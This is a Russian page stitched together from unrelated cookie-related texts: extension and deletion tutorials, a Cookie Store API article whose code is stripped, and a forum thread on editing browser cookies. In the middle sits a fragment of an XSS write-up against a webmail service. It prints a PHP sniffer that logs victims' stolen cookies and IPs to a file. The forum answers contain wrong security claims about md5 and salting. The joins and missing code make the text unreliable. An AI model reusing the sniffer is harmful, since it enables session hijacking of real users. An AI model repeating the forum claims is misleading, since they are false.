Как подменить куки в браузере
Содержание:
Без кукисов не обходится:
- авторизация на сайте – если вы зайдёте на сайт, введёте свои данные для входа, то по возвращению сайт вас «узнает».
- опросы и голосования – для предотвращения «накрутки» зачастую используются кукисы, в которых сохраняется соответствующая информация.
- индивидуальные настройки отображения сайта – некоторые сайты позволяют индивидуально настроить выводимые блоки, дизайн и т.п. Вся эта информация сохраняется в кукисах браузера.
- для статистики – сайт по сохранённым кукисам может определить, новый вы пользователь или вернувшийся. Статистика очень помогает создателям сайтов, дабы оценить качество ресурса и его популярность.
- в рекламных целях – да, для этого кукисов тоже очень часто используются. Вы, наверное, заметили, что если вы ранее что-то искали в популярном интернет поисковике, то впоследствии вам на самых разных сайтах показывается «тематическая» реклама.
- бан на сайте – для ограничения доступа к сайту в некоторых случаях используются кукисы.
Как видите, предназначение у кукисов самое разное. И если вы хотите посмотреть сохранённые кукисы, выборочно удалять, а также добавлять свои кукис-записи, то это вполне реально.
В Google Chrome (и браузеров на его основе Vivaldi, Comodo Dragon, Opera, Яндекс браузер и т.д.) мы будем использовать расширение EditThisCookie.
Установив данное расширение, отобразится его кнопка в виде печеньки. При нажатии на неё вы сможете увидеть кукисы для открытого в текущий момент сайта.
Вы сможете отредактировать имеющиеся кукисы, выборочно удалить отдельные записи, а при необходимости и добавить таковую(ые).
Расширение поддерживает русский язык интерфейса. Удобное расширение для гибкого управления кукисами в Google Chrome и браузеров на основе Chromium: Vivaldi, Comodo Dragon, Opera, Яндекс браузер и т.д.
Для браузера Mozilla Firefox мы будем использовать специально написанное под этот браузер расширение Cookie Quick Manager.
После установки, окно данного расширения вызывается из верхнего меню Инструменты -> Cookie Manager.
В отобразившемся окне будет выведен список всех сохранённых в браузере кукисов. В функционале расширения имеется гибкий поиск по сохранённом кукисам, возможность сортировки.
Особо можно отметить монитор кукисов, в котором можно проследить за созданием\изменением\удалением кукис при обращении к сайту.
Краткий итог
Теперь вы знаете, как управлять кукиес в популярных браузерах, и вам не придётся прибегать к очистке всех сохранённых кукисов, если возникнет проблема с каким-либо сайтом. Управляйте только теми кукисами, которыми вы пожелаете.
А на этом у меня всё. Если остались вопросы, то комментарии всегда открыты для обсуждения.
Мы рады, что смогли помочь Вам в решении поставленной задачи или проблемы.
В свою очередь, Вы тоже можете нам очень помочь.
Просто поделитесь статьей в социальных сетях и мессенджерах с друзьями.
Поделившись результатами труда автора, вы окажете неоценимую помощь как ему самому, так и сайту в целом. Спасибо!
На то, чтобы понять механику уязвимости, потребовалось некоторое время и множество экспериментов. Иногда скрипт срабатывал, иногда отфильтровывался. После некоторых усилий эмпирическим путем было установлено, что скрипт 100% срабатывает только в том случае, если поиск по письмам даст положительный результат. То есть когда пользователь выполняет поиск с нашим скриптом, нужно чтобы хотя бы одно письмо в его почтовом ящике по заданным параметрам нашлось. Устроить это не сложно.
Дальше я занялся ссылкой, которая запустит поиск. Отследил закономерность в адресной строке, по которой выполняется поиск:
if (isset($_GET['cookie']))
$text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of F Y h:i:s A');
$text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n";
$file = fopen("sniff.txt", "a");
fwrite($file, $text);
fclose($file);
>
?>
Ссылку для поиска использовал следующую:
Письмо готово, отправляем его. В качестве адресата я использовал свой второй почтовый ящик на этом же сервисе. Смотрим, что пришло на другой ящик.
Проверяю свой файл sniff.txt:
Хотелось бы поблагодарить Сергея Белова (BeLove), за его познавательное мероприятие Open InfoSec Days, которое вдохновило меня на поиски уязвимостей на сайтах.
Приветствую!
Как вы знаете, при посещении того или иного сайта, в вашем браузере сохраняются локальные записи-отметки, их называют кукисами. Полезность кукисов для вебмастеров (разработчиков сайтов) трудно переоценить, но в некоторых случаях у пользователя может возникнуть необходимость удалить сохранённые кукисы, причём не все сразу, а для какого-то определённого сайта.
Выборочное удаление кукисов бесспорно лучше, нежели полная очистка браузера от всех кукисов. Ведь в последнем случае «слетает» авторизация на всех сайтах, в которых вы были авторизованы, и приходится вновь вводить логины и пароли, что достаточно утомительно.
Содержание:
Инструкция универсальна, и она подходит не только для Google Chrome, но и браузеров на его основе: Opera, Яндекс Браузер, Comodo, Амиго и т.д.
Готово! Cookies для конкретного сайта полностью удалены.
В браузере Mozilla Firefox это делается несколько проще.
Всё! Задача полностью выполнена.
В браузере Internet Explorer данная процедура осуществляется через «Средства разработчика», которое можно открыть через соответствующий пункт меню, или, нажав клавишу F12.
- После открытия инструмента, зайдите во вкладку Сеть.
- Там будет кнопка с изображением перечёркнутого печенья. Её нажатие осуществляет удаление куков для открытого в текущий момент сайта.
Отлично. Процедура осуществлена.
Краткий итог
Как видите, выборочная процедура удаления кукисов в браузере не является чем то архисложным. Всё достаточно просто, и не должно вызывать сложностей. Теперь вы можете удалить только сохранённые для определённых сайтов кукисы, а не все сразу.
Если у вас остались вопросы, то задайте их в комментариях.
Мы рады, что смогли помочь Вам в решении поставленной задачи или проблемы.
В свою очередь, Вы тоже можете нам очень помочь.
Просто поделитесь статьей в социальных сетях и мессенджерах с друзьями.
Поделившись результатами труда автора, вы окажете неоценимую помощь как ему самому, так и сайту в целом. Спасибо!
Вы когда-нибудь работали с куки? Казалось ли вам при этом, что их использование организовано просто и понятно? Полагаю, что в работе с куки есть множество нюансов, о которых стоит знать новичкам.
Свойство document.cookie
Взглянем на классический способ работы с куки. Соответствующая спецификация существует, благодаря Netscape, с 1994 года. Компания Netscape реализовала свойство document.cookie в Netscape Navigator в 1996 году. Вот определение куки из тех времён:
Главу про document.cookie даже можно найти во втором издании книги «Javascript. The Definitive Guide», которое вышло в январе 1997 года. Это было 24 года тому назад. И мы всё ещё пользуемся тем же старым способом работы с куки ради обратной совместимости.
Как же это выглядит?
Получение куки
Да, именно так всё и делается. В нашем распоряжении оказывается строка со всеми значениями, хранящимися в куки-файле, разделёнными точкой с запятой.
Как вытащить из этой строки отдельное значение? Если вам кажется, что для этого надо самостоятельно разбить строку на части — знайте, что так оно и есть:
Как узнать о том, когда истекает срок действия какого-нибудь из куки? Да, в общем-то, никак.
А как узнать домен, с которого установлен какой-нибудь куки? Тоже никак.
Установка куки
Вышеприведённая команда позволяет создать куки с именем theme , значением которого является dark . Хорошо. Значит ли это, что document.cookie — это строка. Нет, не значит. Это — сеттер.
Эта команда не перезапишет куки с именем theme . Она создаст новый куки с именем mozilla . Теперь у нас имеются два куки.
По умолчанию срок действия куки, созданного так, как показано выше, истекает после закрытия браузера. Но при создании куки можно указать срок его действия:
Да. Это — как раз то, что мне нужно — подбирать дату и время истечения срока действия куки в формате GMT каждый раз, когда нужно установить куки. Ладно, давайте воспользуемся для решения этой задачи JavaScript-кодом:
Но, к счастью, у нас есть и другой способ установки момента истечения срока действия куки:
Свойство max-age представляет собой срок «жизни» куки в секундах. Соответствующее значение имеет более высокий приоритет, чем то, которое задано с помощью свойства expires .
И не надо забывать о свойствах path и domain . По умолчанию куки устанавливаются для текущего расположения и текущего хоста. Если надо установить куки для всего домена — надо будет добавить к команде установки куки конструкцию такого вида:
Удаление куки
Для удаления куки надо установить дату и время истечения срока действия куки на какой-нибудь момент из прошлого. Для того чтобы всё точно сработало бы — тут рекомендуется использовать начало эпохи Unix.
Работа с куки в сервис-воркерах
Это просто невозможно. Дело в том, что работа с document.cookie — это синхронная операция, в результате воспользоваться ей в сервис-воркере нельзя.
Cookie Store API
Существует черновик стандарта одного замечательного API, направленного на работу с куки, который способен значительно облегчить нам жизнь в будущем.
Во-первых — это асинхронный API, а значит — пользоваться им можно, не блокируя главный поток. Применять его можно и в сервис-воркерах.
Во-вторых — этот API устроен гораздо понятнее, чем существующий механизм работы с куки.
▍Получение куки
Метод getAll возвращает массив, а не строку. Именно этого я и жду, когда пытаюсь получить некий список.
А вот — приятная неожиданность. Можно узнать и дату истечения срока действия куки, и сведения о домене и пути, и при этом не пользоваться никакими хаками.
▍Установка куки
Мне очень нравится этот синтаксис!
▍Удаление куки
Или можно, как раньше, установить дату истечения срока действия куки на некий момент в прошлом, но не вижу причины поступать именно так.
▍События куки
Как видите, теперь у нас есть возможность подписываться на изменения куки, не занимаясь опросом document.cookie , блокирующим главный поток. Фантастика!
▍Сервис-воркеры
Можно ли пользоваться этим API прямо сейчас?
Хотя этим API уже можно пользоваться, но тут надо проявлять осторожность. Cookie Store API работоспособно в Chrome 87+ (Edge 87+, Opera 73+). В других браузерах можно воспользоваться полифиллом, который, правда, не возвращает полной информации о куки, как это сделано в настоящем API. Прогрессивные улучшения — это вещь.
И учитывайте, что спецификация этого API всё ещё находится в статусе «Draft Community Group Report». Но если в вашем проекте важен хороший «опыт разработчика» — попробуйте современный способ работы с куки.
Браузер хранит cookie, загруженные из Интернета, (например, cookie сессий) на жестком диске. Понятно, что их может поменять сайт, который их предоставил.
Вопрос:
Можно ли менять эти cookie приложением, запущенным на десктопе - параллельно с браузером?
Подвопросы:
1. Возможно ли это делать физически - нет ли запретов безопасности Windows? (Не будет ли Windows считать такое приложение вредоносным.)
2. Не препятствует ли этому браузер? Ведь это его база данных, а стороннее приложение будет менять его данные. Не проверяет ли браузер (Firefox, Chrome, IE и т.д.) целостность базы данных? Возможно ли изменение этих cookie во время работы браузера?
3. Должно ли такое приложение быть расширением браузера или оно может работать как отдельное от браузера приложение?
1. Да возможно, запретов нет.
2. Нет, ты можешь даже взять куки из одного браузера и поместить их в тот же браузер, но на другом компьютере. И сервер будет думать что ты это другой человек. Собственно говоря отчасти сессии для этого и придуманы, иначе можно было бы таким образом утягивать доступ не зная пароля ( Так кстати и делают некоторые ребята)
3. Нет не должно, скажу даже больше, в инете есть уже готовые решения для Гугла и для Фаирфокса, для гугла, если не изменяет память, называется Magic Wand, хотя могу ошибаться. Кстати, скажу даже что в разных браузерах почти одна и та же структура, они как правило иногда различается изменением колонок (те что были вертикальным стали горизонтальными, а те что были горизонтальными стали вертикальными)
Стоит добавить, что важная инфа чаще всего хранится в md5 за расшифровку, которого обещают нобелевку. Но вопрос был ведь в изменении данных ;)
1. В целом ответ: никаких проблем со считыванием, изменением и даже созданием cookie программным путем проблем нет. Грамотный программист справится.
2. Сброс или замена данных сессий по инициативе сайта периодически происходит, поскольку именно такие приложения могут воровать данные сессий. При этом вводится по-новой пароль, и генерируются новые данные сессии. Злоумышленник, чтобы снова получить доступ к сайту, должен заново узнать данные сессии.
(А в Интернете данные cookie никак особо не перехватишь, поскольку чужим сайтам не дает считывать cookie ограничение same origin. Зашитое в браузере пользователя.)
Все-таки еще вопросы, если не затруднит:
1. Если не ошибаюсь, есть папки Windows, зарезервированные только для использования конкретных приложений. Другие приложения к ним доступа не имеют, если у них нет прав администратора. Если пользователь грамотный, то UAC у него включен.
3. Пароли в хранилище cookie не хранятся. А где хранятся?
> скажу даже что в разных браузерах почти одна и та же структура,
> они как правило иногда различается изменением колонок (те что
> были вертикальным стали горизонтальными, а те что были
> горизонтальными стали вертикальными)
Что это за структура? Где можно почитать? Можно без подробностей, скажем так: по каким ключевым словами искать?
4. Есть ли возможность менять пароли таким же образом (приложением)?
(Расшифровка зашифрованных данных меня действительно не особо интересует - интересует изменение и/или создание новых данных.)
5. Что, кроме идентификаторов сессии, храниться в хранилище cookie?
Мне понятно, что через сеть парольная информация пересылается в виде:
hash(пароль + случайное число)
или
hash(hash(пароль) + случайное число).
Не вполне понятен принцип, как извлекается пароль, чтобы сгенерировать это число?
Karlo-Marlo: Я тебе скажу так, если есть доступ к винде, то грамотный программист доберётся до данных без официального назначения прав.
Куки хранятся в скрытой папке Application Data, как правило к ней не каких прав не нужно, она просто скрыта (Через меню папки "Вид" ставишь отобразить скрытые файлы), для программ просто прописываешь путь. Если ухищрений с политиками безопасности нет, то без проблем всё. (А чаще всего в политики безопасности вообще не лезут).
Пароли хранятся на сервере сайта (хотя зачастую даже на сервере хранится уже готовый md5 хеш), и у клиента в момент ввода. После ввода происходит необратимая функция хешировани по md5 алгоритму. И передаётся уже md5 хеш, который расшифровать не возможно (к сожалению для меня :d), собственно говоря сервер получая хеш сравнивает его со своим в базе данных, если всё ок то пускает его на сайт.
Подменить md5 хэш можно, однако когда сервер его сравнит со своим то получится ошибка и тебя не пустят.
Ты можешь хранить там, что угодно. Случайное число имеет понятие в криптографии - Соль. Соль вообще берётся с потолка,например 123456789 это солько, берётся хеш от пароль + соль, и хеш пересылается сервер, дальше идёт сравнение, то есть пароль не извлекается. Пароль в чистом виде хранится в большинстве случаев только в момент ввода.
Много вопросов уйдут, если вы почитаете, что такое хеш функция, как устроены куки, и какое применение хеш функции имеют место в куках
Читайте также: